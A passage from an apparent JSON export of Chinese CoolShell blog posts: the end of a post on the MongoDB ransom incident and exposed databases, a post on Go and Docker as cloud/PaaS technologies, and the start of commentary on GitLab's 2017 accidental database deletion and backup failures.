30px;\">2）因为MongoDB是后端基础服务，所以，需要很多内部机器防问，按道理呢，应该绑定在内网IP上，但是呢，可能是技术人员不小心，绑在了0.0.0.0的IP上。</p>\n<p>那么，这个问题在云平台上是否可以更好的解决呢？</p>\n<p><strong>关于公网的IP。</strong>一般来说，公有云平台上的虚拟主机都会有一个公网的IP地址，老实说，这并不是一个好的方法，因为有很多主机是不需要暴露到公网上的，所以，也就不需要使用公网IP，于是，就会出现弹性IP或虚拟路由器以及VPC这样的虚拟网络服务，这样用户在公有云就可以很容易的组网，也就没有必要每台机器都需要一个公网IP，使用云平台，最好还是使用组网方案比较好的平台。</p>\n<p><strong>关于安全组</strong>。在AWS上，你开一台EC2，会有一个非常严格的安全组——只暴露22端口，其它的全部对外网关闭。这样做，其实是可以帮用户防止一下不小心把不必要的服务Open到公网上。按道理来说，AWS上应该是帮用户防了这些的。但是，AWS上的MongoDB祼奔的机器数量是最多的，估计和AWS的EC2的 基数有关系吧（据说AWS有千万台左右的EC2了）</p>\n<p>最后，提醒大家一下，被黑了也不要去付赎金，因为目前来说没有任何证据证明黑客们真正保存了你的数据，因为，被黑的服务器太多了，估计有几百T的数据，估计是不会为你保存的。下面也是Victor Gevers的提示：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-17619\" height=\"213\" src=\"../wp-content/uploads/2017/01/MongoDB_Twitter.png\" width=\"507\"/></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/11973.html\"><img alt=\"bash代码注入的安全漏洞\" height=\"150\" src=\"../wp-content/uploads/2014/09/bashbug-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/11973.html\">bash代码注入的安全漏洞</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/6976.html\"><img alt=\"谈谈数据安全和云存储\" height=\"150\" src=\"../wp-content/uploads/2012/04/61e04755jw1drlo96bsktj-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/6976.html\">谈谈数据安全和云存储</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/11021.html\"><img alt=\"从“黑掉Github”学Web安全开发\" height=\"150\" src=\"../wp-content/uploads/2014/02/Github-Security-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/11021.html\">从“黑掉Github”学Web安全开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/6424.html\"><img alt=\"Hash Collision DoS 问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/6424.html\">Hash Collision DoS 问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17607.html\">从 MongoDB “赎金事件” 看安全问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2017-10-30 Go语言、Docker 和新技术.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-sup_wechat_big\" height=\"200\" src=\"../wp-content/uploads/2017/10/golang.docker-360x200.png\" width=\"360\"/>上个月，作为 Go 语言的三位创始人之一，Unix 老牌黑客罗勃·派克（Rob Pike）在新文章“<a href=\"https://commandcenter.blogspot.com/2017/09/go-ten-years-and-climbing.html\" rel=\"noopener noreferrer\" target=\"_blank\">Go: Ten years and climbing</a>”中，回顾了一下 Go 语言的发展过程。其中提到，Go 语言这十年的迅猛发展大到连他们自己都没有想到，并且还成为了云计算领域中新一代的开发语言。还提到了，中国程序员对 Go 语言的热爱完全超出了他们的想象，甚至他们都不敢相信是真的。</p>\n<p>这让我想起，我在 2015 年 5 月份拜访 Docker 公司在湾区的总部时，Docker 负责人也和我表达了相似的感叹：他们完全没有想到居然中国有那么多人喜欢 Docker，而且还有这么多人在为 Docker 做贡献，这让他们感到非常意外。此外，还跟我说，中国是除了美国本土之外的另一个如此喜欢 Docker 技术的国家，在其它国家都没有看到。</p>\n<p>的确如他们所说，Go 语言和 Docker 这两种技术已经成为新一代的云计算技术，而且可以看到其发展态势非常迅猛。而中国也成为了像美国一样在强力推动这两种技术的国家。这的确是一件让人感到非常高兴的事，因为中国在跟随时代潮流这件事上已经做得非常不错了。</p>\n<p>然而，从 2014-2015 年我在阿里推动 Docker 和 Go 语言的痛苦和失败过程中，以及这许多年来，有很多很多人问我是否要学 Go 语言，是否要学 Docker，Go 和 Docker 是否能用在生产线上，这些问题看来，对于 Go 语言和 Docker 这两种技术，在国内的技术圈中有相当大的一部分人和群体还在执观望或是不信任的态度。</p>\n<p>所以，我想写这篇文章，从两个方面来论述一下我的观点和看法。</p>\n<ul class=\"list-paddingleft-2\">\n<li>一个方面，为什么 Go 语言和 Docker 会是新一代的云计算技术。</li>\n<li>另一个方面，作为技术人员，我们如何识别什么样的新技术会是未来的趋势。</li>\n</ul>\n<p>这两个问题是相辅相成的，所以我会把这两个问题揉在一起谈。</p>\n<p><span id=\"more-18190\"></span></p>\n<p>虽然 Go 语言是在 2009 年底开源的，但我是从 2012 年才开始接触和学习 Go 语言的。我只花了一个周末两天的时间就学完了，而且在这两天，我还很快地写出了一个能工作很好的网页爬虫程序，以及一个简单的高并发文件处理服务，用于提取前面抓取的网页的关键内容。这两个程序都很简单，总共才写了不到 500 行代码。</p>\n<p>我当时对 Go 语言有几点体会。</p>\n<p><strong>第一，语言简单，上手快。</strong>Go 语言的语法特性简直是太简单了，简单到你几乎玩不出什么花招，直来直去的，学习曲线很低，上手非常快。</p>\n<p><strong>第二，并行和异步编程几乎无痛点。</strong>Go 语言的 Goroutine 和 Channel 这两个神器简直就是并发和异步编程的巨大福音。像 C、C++、Java、Python 和 JavaScript 这些语言的并发和异步方式太控制就比较复杂了，而且容易出错，而 Go 解决这个问题非常地优雅和流畅。这对于编程多年受尽并发和异步折磨的我来说，完全就是让我眼前一亮的感觉。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"403\" src=\"../wp-content/uploads/2017/10/golang.01.png\" width=\"664\"/></p>\n<p style=\"text-align: center;\">（图片来自 Medium：<a href=\"https://medium.com/@kevalpatel2106/why-should-you-learn-go-f607681fad65\" rel=\"noopener noreferrer\" target=\"_blank\">Why should you learn Go?</a>）</p>\n<p><strong>第三，Go 语言的 lib 库麻雀虽小五脏俱全。</strong>Go 语言的 lib 库中基本上有绝大多数常用的库，虽然有些库还不是很好，但我觉得不是问题，因为我相信在未来的发展中会把这些问题解决掉。</p>\n<p><strong>第四，C 语言的理念和 Python 的姿态。</strong>C 语言的理念是信任程序员，保持语言的小巧，不屏蔽底层且底层友好，关注语言的执行效率和性能。而 Python 的姿态是用尽量少的代码完成尽量多的事。于是我能够感觉到，Go 语言想要把 C 和 Python 统一起来，这是多棒的一件事啊。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"400\" src=\"../wp-content/uploads/2017/10/golang.02.png\" width=\"662\"/></p>\n<p style=\"text-align: center;\">（图片来自 Medium：<a href=\"https://medium.com/@kevalpatel2106/why-should-you-learn-go-f607681fad65\" rel=\"noopener noreferrer\" target=\"_blank\">Why should you learn Go?</a>）</p>\n<p>所以，即便 Go 语言存在诸多的问题，比如垃圾回收、异常处理、泛型编程等，但相较于上面这几个优势，我认为这些问题都是些小问题。于是就毫不犹豫地入坑了。</p>\n<p>当然，一个技术能不能发展起来，关键还要看三点。</p>\n<ul class=\"list-paddingleft-2\">\n<li><strong>有没有一个比较好的社区。</strong>像 C、C++、Java、Python 和 JavaScript 的生态圈都是非常丰富和火爆的。尤其是有很多商业机构参与的社区那就更为人气爆棚了，比如 Linux 的社区。</li>\n<li><strong>有没有一个工业化的标准。</strong>像 C、C++、Java 都是有标准化组织的。尤其是 Java，其在架构上还搞出了像 J2EE 这样的企业级标准。</li>\n<li><strong>有没有一个或多个杀手级应用。</strong>C、C++ 和 Java 的杀手级应用不用多说了，就算是对于 PHP 这样还不能算是一个好的编程语言来说，因为是 Linux 时代的第一个杀手级解决方案 LAMP 中的关键技术，所以，也发展起来了。</li>\n</ul>\n<p>上述的这三点是非常关键的，新的技术只需要占到其中一到两点就已经很不错了，何况有的技术，比如 Java，是三点全占到了，所以，Java 的发展是如此好。当然，除了上面这三点重要的，还有一些其它的影响因素，比如：</p>\n<ul class=\"list-paddingleft-2\">\n<li><strong>学习曲线是否低，上手是否快。</strong>这点非常重要，C++ 在这点上越做越不好了。</li>\n<li><strong>有没有一个不错的提高开发效率的开发框架。</strong>如：Java 的 Spring 框架，C++ 的 STL 等。</li>\n<li><strong>是否有一个或多个巨型的技术公司作为后盾。</strong>如：Java 和 Linux 后面的 IBM、Sun……</li>\n<li><strong>有没有解决软件开发中的痛点。</strong>如：Java 解决了 C 和 C++ 的内存管理问题。</li>\n</ul>\n<p>用这些标尺来量一下 Go 语言，我们可以清楚地看到：</p>\n<ul class=\"list-paddingleft-2\">\n<li>Go 语言容易上手；</li>\n<li>Go 语言解决了并发编程和写底层应用开发效率的痛点；</li>\n<li>Go 语言有 Google 这个世界一流的技术公司在后面；</li>\n<li>Go 语言的杀手级应用是 Docker，而 Docker 的生态圈在这几年完全爆棚了。</li>\n</ul>\n<p>所以，Go 语言的未来是不可限量的。当然，我个人觉得，Go 可能会吞食很多 C、C++、Java 的项目。不过，Go 语言所吞食主要的项目应该是中间层的项目，既不是非常底层也不会是业务层。</p>\n<p>也就是说，Go 语言不会吞食底层到 C 和 C++ 那个级别的，也不会吞食到高层如 Java 业务层的项目。Go 语言能吞食的一定是 PaaS 上的项目，比如一些消息缓存中间件、服务发现、服务代理、控制系统、Agent、日志收集等等，没有复杂的业务场景，也到不了特别底层（如操作系统）的中间平台层的软件项目或工具。而 C 和 C++ 会被打到更底层，Java 会被打到更上层的业务层。这是我的一个判断。</p>\n<p>好了，我们再用上面的标尺来量一下 Go 语言的杀手级应用 Docker，你会发现基本是一样的。</p>\n<ul class=\"list-paddingleft-2\">\n<li>Docker 上手很容易。</li>\n<li>Docker 解决了运维中的环境问题以及服务调度的痛点。</li>\n<li>Docker 的生态圈中有大公司在后面助力。比如 Google。</li>\n<li>Docker 产出了工业界标准 OCI。</li>\n<li>Docker 的社区和生态圈已经出现像 Java 和 Linux 那样的态势。</li>\n<li>……</li>\n</ul>\n<p>所以，早在 3、4 年前我就觉得 Docker 一定会是未来的技术。虽然当时的坑儿还很多，但是，相对于这些大的因素来说，那些小坑儿都不是问题。只是需要一些时间，这些小坑儿在未来 5-10 年就可以完全被填平了。</p>\n<p>同样，我们可以看到 Kubernetes 作为服务和容器调度的关键技术一定会是最后的赢家。这点我在去年初就能够很明显地感觉到了。</p>\n<p>关于 Docker 我还想多说几句，这是云计算中 PaaS 的关键技术，虽然，这世上在出现 Docker 之前，几乎所有的要玩公有 PaaS 的公司和产品都玩不起来，比如：Google 的 GAE，国内的各种 XAE，如淘宝的 TAE，新浪的 SAE 等。但我还是想说，<strong>PaaS 是一个被世界或是被产业界严重低估的平台。</strong></p>\n<p><strong>PaaS 层是承上启下的关键技术，任何一个不重视 PaaS 的公司，其技术架构都不可能让这家公司成长为一个大型的公司</strong>。因为 PaaS 层的技术主要能解决下面这些问题。</p>\n<ul class=\"list-paddingleft-2\">\n<li><strong>软件生产线的问题。</strong>持续集成和持续发布，以及 DevOps 中的技术必需通过 PaaS。</li>\n<li><strong>分布式服务化的问题。</strong>分布式服务化的服务高可用、服务编排、服务调度、服务发现、服务路由，以及分布式服务化的支撑技术完全是 PaaS 的菜。</li>\n<li><strong>提高服务的可用性 SLA。</strong>提高服务可用性 SLA 所需要的分布式、高可用的技术架构和运维工具，也是 PaaS 层提供的。</li>\n<li><strong>软件能力的复用。</strong>软件工程中的核心就是软件能力的复用，这一点也完美地体现在 PaaS 平台的技术上。</li>\n</ul>\n<p>老实说，这些问题的关键程度已经到了能判断一家依托技术的公司的研发能力是否靠谱的程度。没有这些技术，依托技术拓展业务的公司几乎没有可能发展得规模很大。</p>\n<p>在后面，我会在“<a href=\"https://time.geekbang.org/\" rel=\"noopener noreferrer\" target=\"_blank\">极客时间</a>”<a href=\"https://time.geekbang.org/column/intro/48\" rel=\"noopener noreferrer\" target=\"_blank\">我的付费专栏</a>里另外写几篇文章详细地讲一下分布式服务化和 PaaS 平台的重要程度。</p>\n<p>最后，我还要说一下，为什么要早一点地进入这些新技术，而不是等待这些技术成熟了后再进入。原因有这么几个。</p>\n<blockquote><p>技术的发展过程非常重要。我进入 Go 和 Docker 的技术不能算早，但也不算晚，从 2012 年学习 Go，到 2013 年学习 Docker 到今天，我清楚地看到了这两种技术的生态圈发展过程。让我收获最大的并不是这些技术本身，而是一个技术的变迁和行业的发展。</p></blockquote>\n<p>从中，我看到了非常具体的各种思潮和思路，这些东西比起 Go 和 Docker 来说更有价值。因为，这不但让我重新思考我已掌握的技术以及如何更好地解决已有的问题，而且还让我看到了未来。我不但有了技术优势，而且这些知识还让我的技术生涯多了很多的可能性。</p>\n<blockquote><p>这些关键新技术，可以让你拿到技术的先机。这些对一个需要技术领导力的个人或公司来说都是非常重要的。</p></blockquote>\n<p>一个公司或是个人能够占有技术先机，就会比其它公司或个人有更大的影响力。一旦未来行业需求引爆，那么这个公司或是个人的影响力就会形成一个比较大的护城河，并可以快速地产生经济利益。</p>\n<p>近期，在与中国移动、中国电信以及一些股份制银行进行交流的过程中，我已看到通讯行业、金融行业对于 PaaS 平台的理解已经超过了互联网公司，而我近 3 年来在这些技术上的研究让我也从中受益非浅。</p>\n<p>所以，Go 语和 Docker 作为 PaaS 平台的关键技术前途是无限的，我很庆幸赶上了这个浪潮，也很庆幸在 3 年前我就看到了这个趋势，现在我也在用这些技术开发相关的技术产品，助力于为高速成长的公司提供这些关键技术。</p>\n<p> </p>\n<p><strong>最后注明一下：</strong></p>\n<p><strong>这篇文章于上周发布于<a href=\"https://time.geekbang.org/column/intro/48\" rel=\"noopener noreferrer\" target=\"_blank\">“极客时间”的我的付费专栏</a>中。极客时间中的付费是我受Geekbang邀请写的一个付费专栏，因为过去10多年给企业有过很多内训，过去2年又给好多企业做过一些咨询工作，所以，我会把一些商业化的内容写在极客时间里，当然，也会有一些我的新文章。关于这个事，我后面我专门开一篇文章说一下。（大家可以到 Apple的App Store上搜极客时间，Android版本等到12月初吧）<br/>\n</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21179.html\"><img alt=\"Go 编程模式：Go Generation\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.generate-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18190.html\">Go语言、Docker 和新技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2017-2-2 从Gitlab误删除数据库想到的.html",
    "content": "<html><body><p><img class=\"alignright wp-image-17685\" height=\"215\" src=\"../wp-content/uploads/2017/02/gitlab-600.jpg\" width=\"300\"/>昨天，Gitlab.com发生了一个大事，某同学误删了数据库，这个事看似是个低级错误，不过，因为Gitlab把整个过程的细节都全部暴露出来了，所以，可以看到很多东西，而对于类似这样的事情，我自己以前也干过，而在最近的两公司中我也见过（Amazon中见过一次，阿里中见过至少四次），正好通过这个事来说说一下自己的一些感想和观点吧。<strong>我先放个观点：你觉得有备份系统就不会丢数据了吗？</strong></p>\n<h4>事件回顾</h4>\n<p>整个事件的回顾Gitlab.com在第一时间就放到了<a href=\"https://docs.google.com/document/d/1GCK53YDcBWQveod9kfzW-VCxIABGiryG7_z_6jHdVik/pub\" target=\"_blank\">Google Doc上</a>，事后，又发了<a href=\"https://about.gitlab.com/2017/02/01/gitlab-dot-com-database-incident/\" target=\"_blank\">一篇Blog</a>来说明这个事，在这里，我简单的回顾一下这个事件的过程。</p>\n<p>首先，一个叫YP的同学在给gitlab的线上数据库做一些负载均衡的工作，在做这个工作时的时候突发了一个情况，Gitlab被DDoS攻击，数据库的使用飙高，在block完攻击者的IP后，发现有个staging的数据库(db2.staging)已经落后生产库4GB的数据，于是YP同学在Fix这个staging库的同步问题的时候，发现db2.staging有各种问题都和主库无法同步，在这个时候，YP同学已经工作的很晚了，在尝试过多个方法后，发现db2.staging都hang在那里，无法同步，于是他想把db2.staging的数据库删除了，这样全新启动一个新的复制，结果呢，删除数据库的命令错误的敲在了生产环境上（db1.cluster），结果导致整个生产数据库被误删除。（<strong>陈皓注：这个失败基本上就是 “工作时间过长” + “在多数终端窗口中切换中迷失掉了”</strong>）</p>\n<p><span id=\"more-17680\"></span></p>\n<p>在恢复的过程中，他们发现只有db1.staging的数据库可以用于恢复，而其它的5种备份机制都不可用，第一个是数据库的同步，没有同步webhook，第二个是对硬盘的快照，没有对数据库做，第三个是用pg_dump的备份，发现版本不对（用9.2的版本去dump 9.6的数据）导致没有dump出数据，第四个S3的备份，完全没有备份上，第五个是相关的备份流程是问题百出的，只有几个粗糙的人肉的脚本和糟糕的文档，也就是说，不但是是人肉的，而且还是完全不可执行的。（<strong>陈皓注：就算是这些备份机制都work，其实也有问题，因为这些备份大多数基本上都是24小时干一次，所以，要从这些备份恢复也一定是是要丢数据的了，只有第一个数据库同步才会实时一些</strong>）</p>\n<p>最终，gitlab从db1.staging上把6个小时前的数据copy回来，结果发现速度非常的慢，备份结点只有60Mbits/S，拷了很长时间（<strong>陈皓注：为什么不把db1.staging给直接变成生产机？因为那台机器的性能很差</strong>）。数据现在的恢复了，不过，因为恢复的数据是6小时前的，所以，有如下的数据丢失掉了：</p>\n<ul class=\"ul1\">\n<li class=\"li1\"><span class=\"s2\">粗略估计，有4613 的项目， 74 forks,  和 350 imports 丢失了；但是，因为Git仓库还在，所以，可以从Git仓库反向推导数据库中的数据，但是，项目中的issues等就完全丢失了。</span></li>\n<li class=\"li1\"><span class=\"s2\">大约有±4979 提交记录丢失了（陈皓注：估计也可以用git仓库中反向恢复）。</span></li>\n<li class=\"li1\"><span class=\"s2\">可能有 707  用户丢失了，这个数据来自Kibana的日志。</span></li>\n<li class=\"li2\"><span class=\"s4\">在1月31日17:20 后的Webhooks 丢失了。</span></li>\n</ul>\n<p>因为Gitlab把整个事件的细节公开了出来，所以，也得到了很多外部的帮助，2nd Quadrant的CTO – <span class=\"s1\"><a href=\"https://www.linkedin.com/in/simonat2ndquadrantdotcom\" target=\"_blank\">Simon Riggs</a> 在他的blog上也发布文章 <a href=\"http://blog.2ndquadrant.com/dataloss-at-gitlab/\" target=\"_blank\">Dataloss at Gitlab </a>给了一些非常不错的建议：</span></p>\n<ul>\n<li>关于PostgreSQL 9.6的数据同步hang住的问题，可能有一些Bug，正在fix中。</li>\n<li>PostgreSQL有4GB的同步滞后是正常的，这不是什么问题。</li>\n<li>正常的停止从结点，会让主结点自动释放WALSender的链接数，所以，不应该重新配置主结点的 max_wal_senders 参数。但是，停止从结点时，主结点的复数连接数不会很快的被释放，而新启动的从结点又会消耗更多的链接数。他认为，Gitlab配置的32个链接数太高了，通常来说，2到4个就足够了。</li>\n<li>另外，之前gitlab配置的max_connections=8000太高了，现在降到2000个是合理的。</li>\n<li>pg_basebackup 会先在主结点上建一个checkpoint，然后再开始同步，这个过程大约需要4分钟。</li>\n<li>手动的删除数据库目录是非常危险的操作，这个事应该交给程序来做。推荐使用刚release 的 <a href=\"https://www.2ndquadrant.com/en/resources/repmgr/\" target=\"_blank\">repmgr</a></li>\n<li>恢复备份也是非常重要的，所以，也应该用相应的程序来做。推荐使用 <a href=\"https://www.2ndquadrant.com/en/resources/barman/\" target=\"_blank\">barman</a> （其支持S3）</li>\n<li>测试备份和恢复是一个很重要的过程。</li>\n</ul>\n<p>看这个样子，估计也有一定的原因是——Gitlab的同学对PostgreSQL不是很熟悉。</p>\n<p>随后，Gitlab在其网站上也开了一系列的issues，其issues列表在这里 <a href=\"https://gitlab.com/gitlab-com/www-gitlab-com/issues/1108\" target=\"_blank\">Write post-mortem</a> (这个列表可能还会在不断更新中)</p>\n<ul class=\"ul1\">\n<li class=\"li1\"><span class=\"s1\"><span class=\"s2\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1094\">infrastructure#1094</a> – Update PS1 across all hosts to more clearly differentiate between hosts and environments</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1095\">infrastructure#1095</a> – Prometheus monitoring for backups</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1096\">infrastructure#1096</a> – Set PostgreSQL’s max_connections to a sane value</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1097\">infrastructure#1097</a> – Investigate Point in time recovery &amp; continuous archiving for PostgreSQL</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1098\">infrastructure#1098</a> – Hourly LVM snapshots of the production databases</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1099\">infrastructure#1099</a> – Azure disk snapshots of production databases</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1100\">infrastructure#1100</a> – Move staging to the ARM environment</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1101\">infrastructure#1101</a> – Recover production replica(s)</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1102\">infrastructure#1102</a> – Automated testing of recovering PostgreSQL database backups</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1103\">infrastructure#1103</a> – Improve PostgreSQL replication documentation/runbooks</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1104\">infrastructure#1104</a> – Kick out SSH users inactive for N minutes</span></span></li>\n<li class=\"li2\"><span class=\"s5\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1105\">infrastructure#1105</a> – Investigate pgbarman for creating PostgreSQL backups</span></span></li>\n</ul>\n<p>从上面的这个列表中，我们可以看到一些改进措施了。挺好的，不过我觉得还不是很够。</p>\n<h4>相关的思考</h4>\n<p>因为类似这样的事，我以前也干过（误删除过数据库，在多个终端窗口中迷失掉了自己所操作的机器……），而且我在amazon里也见过一次，在阿里内至少见过四次以上（在阿里人肉运维的误操作的事故是我见过最多的），但是我无法在这里公开分享，私下可以分享。在这里，我只想从非技术和技术两个方面分享一下我的经验和认识。</p>\n<h5>技术方面</h5>\n<p><strong>人肉运维</strong></p>\n<p>一直以来，我都觉得直接到生产线上敲命令是一种非常不好的习惯。我认为，<strong>一个公司的运维能力的强弱和你上线上环境敲命令是有关的，你越是喜欢上线敲命令你的运维能力就越弱，越是通过自动化来处理问题，你的运维能力就越强</strong>。理由如下：</p>\n<p style=\"padding-left: 30px;\">其一，如果说对代码的改动都是一次发布的话，那么，对生产环境的任何改动（包括硬件、操作系统、网络、软件配置……），也都算是一次发布。那么这样的发布就应该走发布系统和发布流程，要被很好的测试、上线和回滚计划。关键是，走发布过程是可以被记录、追踪和回溯的，而在线上敲命令是完全无法追踪的。没人知道你敲了什么命令。</p>\n<p style=\"padding-left: 30px;\">其二，真正良性的运维能力是——人管代码，代码管机器，而不是人管机器。你敲了什么命令没人知道，但是你写个工具做变更线上系统，这个工具干了什么事，看看工具的源码就知道了。</p>\n<p>另外、有人说，以后不要用rm了，要用mv，还有人说，以后干这样的事时，一个人干，另一个人在旁边看，还有人说，要有一个checklist的强制流程做线上的变更，还有人说要增加一个权限系统。我觉得，这些虽然可以work，但是依然不好，再由如下：</p>\n<p style=\"padding-left: 30px;\">其一、如果要解决一个事情需要加更多的人来做的事，那这事就做成劳动密集型了。今天我们的科技就是在努力消除人力成本，而不是在增加人力成本。而做为一个技术人员，解决问题的最好方式是努力使用技术手段，而不是使用更多的人肉手段。<strong>人类区别于动物的差别就是会发明和使用现代化的工具，而不是使用更多的人力</strong>。另外，<strong>这不仅仅因为是，人都是会有这样或那样的问题（疲惫、情绪化、急燥、冲动……），而机器是单一无脑不知疲惫的，更是因为，机器干活的效率和速度是比人肉高出N多倍的</strong>。</p>\n<p style=\"padding-left: 30px;\">其二、增加一个权限系统或是别的一个watch dog的系统完全是在开倒车，权限系统中的权限谁来维护和审批？不仅仅是因为多出来的系统需要多出来的维护，关键是这个事就没有把问题解决在root上。除了为社会解决就业问题，别无好处，故障依然会发生，有权限的人一样会误操作。对于Gitlab这个问题，正如2nd Quadrant的CTO建议的那样，你需要的是一个自动化的备份和恢复的工具，而不是一个权限系统。</p>\n<p style=\"padding-left: 